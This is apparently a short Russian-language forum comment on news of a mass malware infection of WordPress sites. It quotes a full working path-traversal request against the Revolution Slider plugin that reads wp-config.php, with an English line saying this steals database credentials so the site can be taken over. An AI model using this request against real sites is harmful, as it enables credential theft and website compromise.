> Более ста тысяч сайтов на платформе WordPress поражены вредоносным ПО
Вот удивительно, почему прямо в новости не пишут понятную всем строчку:
> http://victim.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
> This is used to steal the database credentials, which then allows you to compromise the website via the database.
А то ссылки четыре пришлось прочитать пока добрался.